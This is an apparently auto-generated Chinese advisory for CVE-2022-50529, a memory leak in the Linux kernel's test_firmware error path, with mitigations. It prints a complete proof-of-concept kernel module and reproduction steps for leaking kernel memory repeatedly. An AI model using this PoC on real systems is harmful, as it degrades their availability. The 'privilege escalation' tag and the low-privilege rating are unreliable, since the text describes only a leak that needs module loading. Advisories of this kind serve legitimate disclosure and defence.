IPBUF安全漏洞报告
English
CVE-2022-50529 CVSS 5.5 中危

CVE-2022-50529 Linux内核test_firmware模块内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50529
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (test_firmware模块)

相关标签

内存泄漏Linux内核test_firmware内核模块本地提权拒绝服务资源耗尽错误处理缺陷

漏洞概述

CVE-2022-50529是Linux内核中test_firmware模块存在的一个内存泄漏漏洞。该漏洞位于test_firmware_init()函数中,当misc_register()函数调用失败时,test_fw_config->name指向的内存未能被正确释放,导致内存泄漏。test_firmware是Linux内核中用于测试固件加载机制的模块,主要用于开发和调试目的。

该漏洞的CVSS评分为5.5,属于中等严重等级。其攻击向量为本地攻击(AV:L),攻击复杂度低(AC:L),需要低权限(PR:L),无需用户交互(UI:N)。漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响较高(A:H)。这意味着攻击者可以利用该漏洞导致系统内存资源耗尽,从而影响系统稳定性。

根据内核日志显示,该漏洞会在insmod加载test_firmware模块时触发。泄漏的内存对象大小为32字节,其中存储的是字符串"test-firmware.bin"。该内存通过kstrndup函数分配,在misc_register失败时未能正确释放,最终导致内核内存泄漏。攻击者可以通过反复触发该漏洞来持续消耗内核内存资源。

技术细节

该漏洞的根本原因在于test_firmware_init()函数中缺少对错误处理路径的内存释放逻辑。具体技术细节如下:

1. 在__test_firmware_config_init()函数中,通过kstrndup()函数分配内存用于存储test_fw_config->name字符串(值为"test-firmware.bin")。

2. 随后调用misc_register()函数注册misc设备。如果misc_register()调用成功,一切正常;但如果调用失败,函数直接返回错误码,而没有释放之前分配的test_fw_config->name内存。

3. 这就形成了一个典型的错误处理路径内存泄漏问题。泄漏的内存对象大小为32字节(sizeof(struct) + 字符串长度),通过kmalloc分配。

4. 从调用栈可以看出完整的触发路径:do_one_initcall -> load_module -> __test_firmware_config_init -> kstrndup -> __kmalloc_node_track_caller。

利用方式方面,攻击者可以通过以下方式触发该漏洞:
1. 编写一个简单的内核模块或使用现有工具尝试加载test_firmware模块
2. 通过某种方式使misc_register()失败(例如占用必要的设备号)
3. 反复执行上述操作以持续消耗内核内存

虽然单个泄漏只有32字节,但通过反复触发可以导致大量内存泄漏,最终可能导致内核内存耗尽,影响系统稳定性。

攻击链分析

STEP 1
步骤1
攻击者准备一个占用test_firmware所需misc设备名或设备号的内核模块,作为触发漏洞的前置条件
STEP 2
步骤2
攻击者加载test_firmware模块,触发test_firmware_init()函数执行
STEP 3
步骤3
在内核模块初始化过程中,__test_firmware_config_init()通过kstrndup()分配32字节内存用于存储test_fw_config->name
STEP 4
步骤4
由于misc设备名/号已被占用,misc_register()调用失败,函数返回错误码
STEP 5
步骤5
在错误处理路径中,之前分配的test_fw_config->name内存未被释放,造成内存泄漏
STEP 6
步骤6
攻击者可以反复执行上述操作,持续消耗内核内存,最终可能导致系统可用内存耗尽,影响系统稳定性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2022-50529 - Linux Kernel test_firmware memory leak // This PoC demonstrates how to trigger the memory leak by causing // misc_register() to fail in test_firmware_init() #include <linux/module.h> #include <linux/init.h> #include <linux/fs.h> #include <linux/miscdevice.h> // Pre-occupy the misc device number that test_firmware uses // to cause misc_register() to fail in test_firmware_init() static struct miscdevice my_misc_dev = { .minor = MISC_DYNAMIC_MINOR, // Use same minor number .name = "test_firmware", // Same name to cause conflict .fops = NULL, }; static int __init poc_init(void) { int ret; // Register a misc device with the same name to occupy the slot // This will cause test_firmware's misc_register() to fail ret = misc_register(&my_misc_dev); if (ret) { pr_err("Failed to register blocking device: %d\n", ret); return ret; } pr_info("PoC loaded - test_firmware misc_register will fail\n"); pr_info("Now loading test_firmware module will leak memory\n"); return 0; } static void __exit poc_exit(void) { misc_deregister(&my_misc_dev); pr_info("PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50529 test_firmware memory leak"); // Steps to reproduce: // 1. Load this PoC module first: insmod poc_module.ko // 2. Then try to load test_firmware: insmod test_firmware.ko // 3. misc_register() will fail because the name is already taken // 4. Check kernel log for memory leak warning: // unreferenced object 0xffff88810a34cb00 (size 32) // 5. Repeat steps 2 to amplify the memory leak

影响范围

Linux Kernel < 5.16 (需要根据具体commit确定)
Linux Kernel 5.16.x
Linux Kernel 5.15.x
Linux Kernel 5.10.x (LTS)
Linux Kernel 5.4.x (LTS)
Linux Kernel 4.19.x (LTS)
Linux Kernel 4.14.x (LTS)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)在内核编译配置中禁用test_firmware模块(设置CONFIG_TEST_FIRMWARE=n),该模块主要用于固件加载测试,生产环境通常不需要;2)限制普通用户加载内核模块的权限,防止低权限用户触发该漏洞;3)通过Linux Security Module(如SELinux、AppArmor)限制misc设备的注册操作;4)监控系统日志,及时发现test_firmware相关的内存泄漏告警;5)定期重启系统以释放泄漏的内存(临时方案)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表